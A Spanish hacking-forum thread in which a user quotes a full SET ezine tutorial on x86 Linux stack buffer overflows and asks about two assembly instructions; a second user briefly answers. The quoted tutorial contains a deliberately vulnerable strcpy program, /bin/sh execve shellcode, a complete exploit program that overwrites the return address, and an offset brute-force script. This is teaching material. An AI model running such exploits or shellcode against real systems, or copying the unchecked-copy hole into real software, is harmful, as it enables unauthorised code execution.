elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Dudas con paper sobre buffer overflows
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Dudas con paper sobre buffer overflows  (Leído 2,474 veces)
[Kayser]

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Dudas con paper sobre buffer overflows
« en: 20 Marzo 2013, 18:21 pm »

Buenas gente, os escribo este mensaje en el foro porque me he encontrado con dudas al leer este paper de la SET ezine sobre buffer overflows.

El paper es el siguiente:

Código:
-[ 0x08 ]--------------------------------------------------------------------
-[ ASM y Buffer Overflows ]--------------------------------------------------
-[ by Doing ]---------------------------------------------------------SET-21-


                           Asm y buffer overflows
                          ------------------------     
                                 By Doing
                  ------------------------
                            <jdoing@hotmail.com>
 

 Bueno, por fin me he decidido a escribir un articulo para SET, espero que
 lo encontreis interesante. Seguro que muchos de los hackers newbies que
 ahora estan descubriendo el mundo del hacking habran oido hablar de los
 tan famosos exploits, pero todavia no saben que hacen, ni como funcionan;
 pues para eso escribo este co~azo.

 Para entender esto te ayudara saber algo de C o ensamblador pero no es
 indispensable. Voy a empezar explicando que #"@% es eso del stack.


  ==> El stack (o pila) <==


 El stack es una region de memoria que las funciones usan para guardar sus
 variables locales y para guadar temporalmente el contenido de los registros
 del procesador (por ejemplo, cuando se llama a una funcion, los parametros
 se pasan por el stack). El segmento de stack se guarda en un registro del
 procesador, el SS. Tambien existe un registro que apunta al lugar en donde
 se encuentra la "pila". La pila se usa para guardar temporalmente el
 contenido de los registros (eso ya lo he dicho antes). Para guardar el
 contenido de un registro en la pila se usa la instruccion push, y para
 recuperar el ultimo dato almacenado en la pila su usa la instruccion pop.

 Vamos a poner un ejemplo:

 Esto es un segmento de stack:

         0x00                                                  0xFFFFFFFF
 SS ==> [0000000000000000000000000[VAR1][VAR2][SBP][RET][ARGV1][ARGV2]...]
                                 ^
                            STACK POINTER

 Como veis, nada mas llamar a una funcion, el ESP se encuentra justo detras
 de la ultima variable declarada. Cuando usamos push, guardamos el dato desde
 la posicion del ESP hacia ATRAS, y el ESP de decrementa en tantos bytes como
 tenga nuestro dato.

 Vamos a suponer que guardamos en la pila el reg EAX (4 BYTES)

 pushl %eax (La "l" despues de push quiere decir que el operando ocupa 32 bits)

 El segmento de antes quedaria asi:

       0x00                                                    0xFFFFFFFF
SS ==> [000000000000000000000[EAX][VAR2][VAR1][SBP][RET][ARGV1][ARGV2]...]
                            ^
                       STACK POINTER

 Ahora vamos a recuperarlo en otro registro:

 popl %ebx

 En este momento el ESP se incrementa en tantos bytes como tenga nuestro dato,
 asi que se queda como al principio, usease, como antes de hacer el ultimo
 push. Con esto se puede deducir una cosa: los datos que vas sacando de la
 pila salen en orden inverso al que fueron introducidos. En jerga "tesnica"
 se dice que la pila es una estructura LIFO (Last In, First Out).

 Acabais de ver como el procesador accede a la pila, creo haber dicho que el
 stack tambien se usa para acceder a las variables locales, pero, comorr?.

 Para acceder a memoria necesitamos dos cosas: segmento y despazamiento. Bien,
 el segmento ya lo tenemos, el SS, y el offset (NOTA: offset = desplazamiento)
 se guarda (seguro que ya lo habeis adivinado ;) en otro registro, el EBP.
 El EBP apunta al comienzo de la primera variable declarada.

 Volvamos otra vez al segmento de antes:

         0x00                                                   0xFFFFFFFF
SS ==>  [0000000000000000000000000[VAR2][VAR1][SBP][RET][ARGV1][ARGV2]...]
                                 ^           ^
                                ESP         EBP

 Vamos a poner otro ejemplo:

 void ejemplo(char *argumento){
     char buff[4];
 }
 void main()
 {
     char *VAR_MAIN;
     ejemplo(VAR_MAIN);
 }
 
 Compilemos el codigo:
 
 $ gcc ejem.c -o ejem
 
 Ahora vamos a desensamblarlo para entender como llama a la funcion ejemplo y
 que hace con los registros:

 $ gdb ejem
 
 (gdb) disassemble main
 Dump of assembler code for function main:
 0x8048458 <main>:       pushl  %ebp
 0x8048459 <main+1>:     movl   %esp,%ebp
 0x804845b <main+3>:     subl   $0x4,%esp
 0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
 0x8048461 <main+9>:     pushl  %eax
 0x8048462 <main+10>:    call   0x8048440 <ejemplo>
 0x8048467 <main+15>:    addl   $0x4,%esp
 0x804846a <main+18>:    leave 
 0x804846b <main+19>:    ret   
 End of assembler dump.
 
 OK. En <main> guardamos el registro ebp en la pila, esto lo hacen todas las
 funciones cuando son llamadas. Hemos dicho que ebp apunta a al comienzo de
 las variables locales de una funcion, pero cuando se llama a otra funcion,
 esta tambien tiene que almacenar en ebp la direccion de sus variables, asi
 que se guarda en la pila para luego restaurarlo. En nuestro segmento esta
 en [SBP].

 En <main+1> copiamos en ebp el contenido de esp. Asi que tenemos que ebp
 y esp apuntan justo detras de [SBP]. Otro dibujito:

        0x00                                                    0xFFFFFFFF
SS ==> [0000000000000000000000000000000000000[SBP][RET][ARGV1][ARGV2]...]
                                             ^
                                            EBP
                                            ESP

 Si ahora hicieramos un push de lo que sea, en este momento escribiriamos
 en la sección de memoria donde queremos guardar VAR_MAIN, asi que en
 <main+3> restamos el tama~o de VAR_MAIN a esp, quedando el famosisimo
 segmento asi:

         0x00                                                    0xFFFFFFFF
SS ==>  [000000000000000000000000000[VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                                   ^          ^
                                  ESP        EBP

 (NOTA: Si os fijais se restan 4 bytes a esp, ya que VAR_MAIN es un puntero)

 Asi que ya tenemos los dos punteros del stack apuntando donde deben. Estos
 tres pasos: (pushl %ebp ; movl %esp,%ebp ; subl tamaño_variables,%esp)
 tienen que hacerlos todas las funciones. Ahora vamos con el proceso de
 llamada:

 0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
 0x8048461 <main+9>:     pushl  %eax
 0x8048462 <main+10>:    call   0x8048440 <ejemplo>
 0x8048467 <main+15>:    addl   $0x4,%esp
 
 Como ya sabeis para pasar los parametros a una funcion se usa la pila,
 pero como no se puede hacer push de una direccion de memoria se usa el
 reg. eax. En <main+6> movemos 4 bytes de la direccion de memoria
 (%ebp + 0xfffffffc), pero como 0xfffffffc = (-4), lo que estamos
 haciendo es copiar 4 bytes desde ebp-4, VAR_MAIN, a eax. Despues en
 <main+9> lo ponemos en la pila y justo antes de hacer la llamada a
 <ejemplo> nuestro queridisimo segmento esta asi:

        0x00                                                    0xFFFFFFFF
SS ==>  [0000000000000000000[PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                           ^                  ^
                          ESP                EBP

 Aqui esp apunta 4 bytes mas abajo, ahora tenemos que llamar a <ejemplo>.
 Pero antes una pregunta: si a <ejemplo> se le llama desde <main+10>, donde
 guarda el programa la direccion de la siguiente instruccion a ejecutar, o
 lo que es lo mismo, la direccion de RETORNO? Seguro que ya lo habeis
 adivininado, pues claro hombre, en la pila. Esta direccion de retorno que
 a partir de ahora llamare RET, es lo que vamos a modificar a la hora de
 "xplotar" un programa que tenga un bug. Pues bien, cuando <main+10> se
 ejecuta pone en la pila la direccion de retorno, en este caso es la
 direccion de <main+15>.

 Ahora vamos a desemsamblar <ejemplo>

 (gdb) disassemble ejemplo
 Dump of assembler code for function ejemplo:
 0x8048440 <ejemplo>:    pushl  %ebp
 0x8048441 <ejemplo+1>:  movl   %esp,%ebp
 0x8048443 <ejemplo+3>:  subl   $0x4,%esp
 0x8048446 <ejemplo+6>:  leave 
 0x8048447 <ejemplo+7>:  ret   
 End of assembler dump.
 
 Vamos a suponer que ya se han ejecutado las tres primeras inst. de ejemplo.
 El segmento de stack estaria asi:

       0x00                                                        0xFFFFFFFF
SS ==> [0000000[BUFF][SBP][RET][PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
              ^      ^      ^     
             ESP    EBP    RET apunta a <main+15>

 Las inst. leave y ret se encargan de dejar el ebp como estaba, es decir,
 para que apunte a las variables locales de funcion que la llamo (main),
 asi que restaura de la pila el [SBP], que lo quardo en <ejemplo>. Despues
 saca a [RET] de la pila y salta a la direccion a la que apunta : <main+15>.
 Y antes de que se ejecute esta instruccion, el dichoso segmento:
 
        0x00                                                        0xFFFFFFFF
SS ==> [00000000000000000000000[PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                              ^                 ^           
                             ESP               EBP   

 El segmento se ha quedado justo igual que antes de hacer la llamada a ejemplo,
 tanto es asi que todavia esta en la pila el parametro que le pasamos. Asi que
 en <main+15>:

          addl   $0x4,%esp
 
 se le suman al esp el tamaño de los argumentos que le pasamos a <ejemplo>.
 Con lo que el segmento de stack se exactamente igual que en <main+6>.
 
 Bien, pues ahora que ya conoceis todo esto ya podemos ir entrando en materia
 (Ya era hora no??).

                               ==> BUFFER OVERFLOWS <==

 
 El objetivo de los xploits es modificar el flujo de ejecucion de un programa
 para que ejecute algo que nosotros queremos, generalmente una shell. Para
 conseguir esto hay que aprovechar errores de programacion. Por ejemplo,
 vamos a modificar la funcion de ejemplo de antes para hacerla vulnerable.
 Esta es el nuevo programa:

  void vulnerable()
  {
      char buffer_pequeno[100];
      char buffer_grande[200];
 
      memset(buffer_grande,1,200);   
      strcpy(buffer_pequenco,buffer_grande);
  }
  void main()
  {
      vulnerable();
  }
 
 Lo que que hace la funcion vulnerable es copiar en un buffer de 100 bytes
 otro que ocupa el doble, con lo que se sobreesciben los datos que hay a
 continuacion de buffer_pequeno. Y, cuales son los datos que se
 sobreescriben?. Pues los que estan a continuacion de buffer_pequeno en el
 segmento de stack : [SFP] y [RET]. Si se escribe encima de [RET] cuando
 termine la funcion saltara a la direccion que este apuntando, en este caso
 0x01010101, y como ahi no puede leer se producira una violacion de segmento.


Vamos a comprobarlo:

 $ gcc ejem2.c -o ejem2
 $ ./ejem2
 Segmentation fault (core dumped)
 $

 Vamos a hacer una pequeña modificacion a ejem2 para que pueda ser explotado.

  void vulnerable(char *ptr)
  {
      char buffer_pequeno[512];   
      strcpy(buffer_pequeno,ptr);
  }
 
  void main(int argc,char **argv)
  {
      vulnerable(argv[1]);
  }
 
  Ahora para sobreescribir la direccion RET tenemos que pasarle un argumento
  de 520 bytes como minimo (recordad [SFP] y [RET] ocupan 4 bytes cada una).

  Bien, antes dije que lo mas comun a la hora de hacer xploits era que nos
  dieran una shell. Asi que lo que tenemos que hacer es sobreescribir [RET]
  con una direccion donde tengamos un codigo que ejecute una shell. Pero,
  donde podemos guardar nuestro codigo para que este en el espacio de
  direcciones de ejem2?.
  Vamos a pasarselo a ejem2 como argumento. Otro problema que tenemos es que
  no sabemos cual va a ser la direccion exacta de nuestro codigo en el stack,
  pero sabemos que los ESP tienen valores muy parecidos en programas que se
  ejecutan en el mismo ordenador, o en distintos ordenadores con el mismo
  sistema operativo. Asi que vamos a "adivinar" la direccion de retorno.
  Vamos a probar a restarle offsets distintos al ESP de nuestro exploit,
  hasta que funcione. Asi que el argumento que tenemos que pasar a ejem2
  es mas o menos como el siguiente:

0                                                                               600
[Codigo_Codigo_Codigo_Codigo_Codigo_Codigo_RET_RET_RET_RET_RET_RET_RET_RET_RET_RET]

  Ahora toca ensamblador. Para programar nuestro codigo vamos a usar asm.
  Queremos que ejecute una shell, por ejemlo "/bin/sh". En C la instruccion
  que nos interesa es execve(char *,char **,char **). Los argumentos son:

- Puntero al path completo del programa.
- Puntero a una lista con los argumentos (**argv).
- Lista de las variables de entorno.

Vamos a destripar la funcion execve().

  ejem3.c

  #include <stdlib.h>
  void main()
  {
          char *arg[2];
          arg[0] = "/bin/sh";
          arg[1] = NULL;
 
          execve(arg[0],arg,NULL);
  }
   
  Este programa ejecuta una shell. Vamos a compilarlo y a desemsamblar
  execve.

  $ gcc ejem3.c -o ejem3 -g -static
  $ gdb ejem3
 
  (gdb) disassemble execve
  Dump of assembler code for function execve:
  0x804ca10 <execve>:     pushl  %ebx
  0x804ca11 <execve+1>:   movl   0x10(%esp,1),%edx
  0x804ca15 <execve+5>:   movl   0xc(%esp,1),%ecx
  0x804ca19 <execve+9>:   movl   0x8(%esp,1),%ebx
  0x804ca1d <execve+13>:  movl   $0xb,%eax
  0x804ca22 <execve+18>:  int    $0x80
  0x804ca24 <execve+20>:  popl   %ebx
  0x804ca25 <execve+21>:  cmpl   $0xfffff001,%eax
  0x804ca2a <execve+26>:  jae    0x804cc30 <__syscall_error>
 
  Hace lo siguiente:

- Pone en edx la direccion de las variables de entorno (Para nuestro
          caso es NULL)

- Pone en ecx la direccion de la lista de argumentos (Como nuestra
          llamada solo va tener un argumento en ecx vamos a poner la
          direccion de la direccion de "/bin/sh")

- Pone en ebx la direccion del primer argumento.

- Pone en eax 11 (0xb) y llama a la funcion 0x80 (llamada a al
          sistema)

  Y nosotros en nuestro codigo vamos a hacer esto:

- Tener en memoria ls cadena "/bin/sh".

- Tener tambien en memoria la direccion de "/bin/sh" seguida
          de un long nulo.

- Poner en eax 11 (0xb).

- Poner en ebx la direccion de "/bin/sh".

- Poner en ecx la direccion de la direccion de "/bin/sh".

- Poner en edx la direccion del long nulo que esta despues de
          la dir. de "/bin/sh".

        - Llamar a la interrupcion 0x80.

  Y por si la llamada a execve falla. A continuacion vamos a hacer una
  llamada a exit() :

- Poner 0 en %ebx (exit code)
- Poner 1 en %eax
- int 0x80.

  Pero aqui nos encontramos con otro problema, nuestro codigo va a ser
  una string, y no sabemos donde va a estar la string "/bin/sh", pero
  para eso vamos a hacer uso de jmp y call.

  Nuestro codigo quedaria asi:

       jmp 0x1f                 # Saltamos al CALL que hay antes de /bin/sh
       popl %edi                # En la pila esta la direccion de /bin/sh
                                # asi que la ponemos en edi

       movl %edi,%ebx           # Ponemos en ebx la dir. de /bin/sh

       xorl %eax,%eax           # Ponemos 0 en eax
       movb %al,0x7(%edi)       # Ponemos un 0 justo delante de /bin/sh
                                # ya que tiene que ser una str terminada
                                # en 0 (NULL terminated).

       movl %edi,0x8(%edi)      # Ponemos en memoria la dir. /bin/sh
       movl %eax,0xc(%edi)      # seguida de un long nulo

       leal 0x8(%edi),%ecx      # Ponemos en ecx la dir. de la dir. de /bin/sh
       leal 0xc(%edi),%edx      # Ponemos en edx la dir. del long nulo.

       movb $0xb,%eax           # Ponemos 11 en eax

       int $0x80                # llamada al sistema
     
       xorl %ebx,%ebx           # Por si falla execve vamos a llamar a exit()
       movl %ebx,%eax           # Ponemos 0 en ebx (exit code)
       inc %eax                 # y 1 en eax (exit())
     
       int $0x80                 # llamada al sistema

       call -0x24               # Esta llamda se ocupa de poner en la pila
                                # la direccion de /bin/sh, que era uno
                                # de los problemas que teniamos

       .ascii \"/bin/sh0\"       # Esto no hace falta que lo explique
       .byte 0x00


Esto es un programa que prueba la shellcode:

ejem4.c

void shellc(){
__asm__("

       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
             ");
}

void main()
{
int *RET;
char dst[200];

strcpy(dst,(char*)shellc);  /*  copiamos la shellcode del segmento
                               de codigo al segmento de datos. Esto se
                               hace porque nuestro codigo escribe
                               un cero al final de /bin/sh, pero si
                               la shellcode se encuentra en el segmento
                               de codigo nos dara una violacion de
                               segmento porque linux marca las paginas
                               de codigo como de solo-lectura */

   RET = (int*) &RET + 2; /*   Hacemos que RET apunte a la direccion
                               de retorno */

   (*RET) = (int) dst;    /*   Y escribimos la direccion de nuestro codigo
                               en la direccion de retorno. Asi cuando termine
                               nuestro programa, se ejcutara la shellcode y
                               veremos si funciona o no */
}


Lo compilamos y lo ejecutamos:

 $ gcc ejem4.c -o ejem4
 $ ./ejem4
 bash$

 Parece que funciona. Si os fijais, en las inst. de la shellcode no hay
 ningun 0. Si lo hubiera, al hacer la copia de nuestro codigo a otro parte,
 se pararia al encontar un byte nulo.

      Volvamos con el xploit. Ya tenemos el codigo, y la direccion de
      retorno hemos quedado que iba a ser el ESP de nuestrp xploit.
      Ya podemos escribir el xploit:

xploit1.c

#include <stdlib.h>

void shellc(){
__asm__("

       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
             ");
}

long get_esp(){
  __asm__("
   movl %esp,%eax
");
}

void main(int argc,char **argv)
{
  int tam = 600;  /* Vamos a pasarle a ejem2 un arg de 600 bytes */
  char *crack = (char*) malloc(tam);
  char dst[200];
  long addr;
  long off = 0;
  char *arg[3];
  int i;

  printf(" ejem2 Xploit - by Doing\n");
  printf(" Uso:\n");
  printf("\t%s [offset]\n",argv[0]);

  if (argc > 1) off = atoi(argv[1]);
 
  addr = get_esp() - off; /* Calculamos la direccion de retorno:
     esp - offset_aleatorio (entre -500 y 500)
   */

  strcpy(dst,(char*)shellc); /* copiamos la shellcode a dst */

  for (i = 0; i < tam; i+=4){
    /* este bucle llena la cadena crack con la direccion de retorno */

    crack[i] = (addr & 0x000000FF);
    crack[i + 1] = (addr & 0x0000FF00) >> 8;
    crack[i + 2] = (addr & 0x00FF0000) >> 16;
    crack[i + 3] = (addr & 0xFF000000) >> 24;
  }

  strncpy(crack,dst,strlen(dst)); /* Y copiamos dst al principio de crack */

  /*  Ahora vamos a intentar xplotar ejem2 */

  arg[0] = "./ejem2";
  arg[1] = crack;
  arg[2] = NULL;

  execve(arg[0],arg,NULL);
}


Lo compilamos y vamos a intentar xplotar ejem2:

$ ./xploit1
 ejem2 Xploit - by Doing
 Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)

Tendremos que modificar el valor de offset. Lo mejor es usar un script.
Aqui teneis uno:

busca_offset

#!/bin/bash
par=-500

while [ $par -le 500 ];do
echo "$par"
./xploit1 $par
par=$((par+1))
done

Le dais permisos de ejecucion y lo ejecutais:

$ ./busca_offset

-500
 ejem2 Xploit - by Doing
 Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)
-499
 ejem2 Xploit - by Doing
 Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)


*EOF*


http://www.set-ezine.org/ezines/set/21/0x08.txt

Este es el programa que me genera dudas:

Código:
void ejemplo(char *argumento){
     char buff[4];
 }
 void main()
 {
     char *VAR_MAIN;
     ejemplo(VAR_MAIN);
 }

Este es el programa desensamblado:

Código:
 (gdb) disassemble main
 Dump of assembler code for function main:
 0x8048458 <main>:       pushl  %ebp
 0x8048459 <main+1>:     movl   %esp,%ebp
 0x804845b <main+3>:     subl   $0x4,%esp
 0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
 0x8048461 <main+9>:     pushl  %eax
 0x8048462 <main+10>:    call   0x8048440 <ejemplo>
 0x8048467 <main+15>:    addl   $0x4,%esp
 0x804846a <main+18>:    leave 
 0x804846b <main+19>:    ret   
 End of assembler dump.

Mi duda esta aqui:

Código:
0x804845b <main+3>:     subl   $0x4,%esp
0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
0x8048461 <main+9>:     pushl  %eax

No entiendo porque se sustraen 4 bytes al registro esp y despues se mueve lo que hay en ebp-4 a eax.

Alguien puede echarme una mano?
Aun estoy verde en ASM  :P


En línea

x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: Dudas con paper sobre buffer overflows
« Respuesta #1 en: 20 Marzo 2013, 18:53 pm »


No entiendo porque se sustraen 4 bytes al registro esp y despues se mueve lo que hay en ebp-4 a eax.

Alguien puede echarme una mano?
Aun estoy verde en ASM  :P

Reserva un DWORD en la pila para uso local de la función.
Aunque en realidad esto no tiene sentido ( pasar un dato no inicializado? ), supongo que es solo para saber.


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Deshabilitando protecciones contra Buffer Overflows « 1 2 »
Bugs y Exploits
c1c4tr1z 16 14,349 Último mensaje 15 Febrero 2012, 22:10 pm
por Ivanchuk
Dudas con Buffer Overflow... « 1 2 »
Bugs y Exploits
RocKHounD 14 8,372 Último mensaje 9 Noviembre 2011, 21:23 pm
por RocKHounD
Link a paper sobre la educación
Foro Libre
D.Dragon 0 1,333 Último mensaje 21 Noviembre 2012, 22:33 pm
por D.Dragon
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines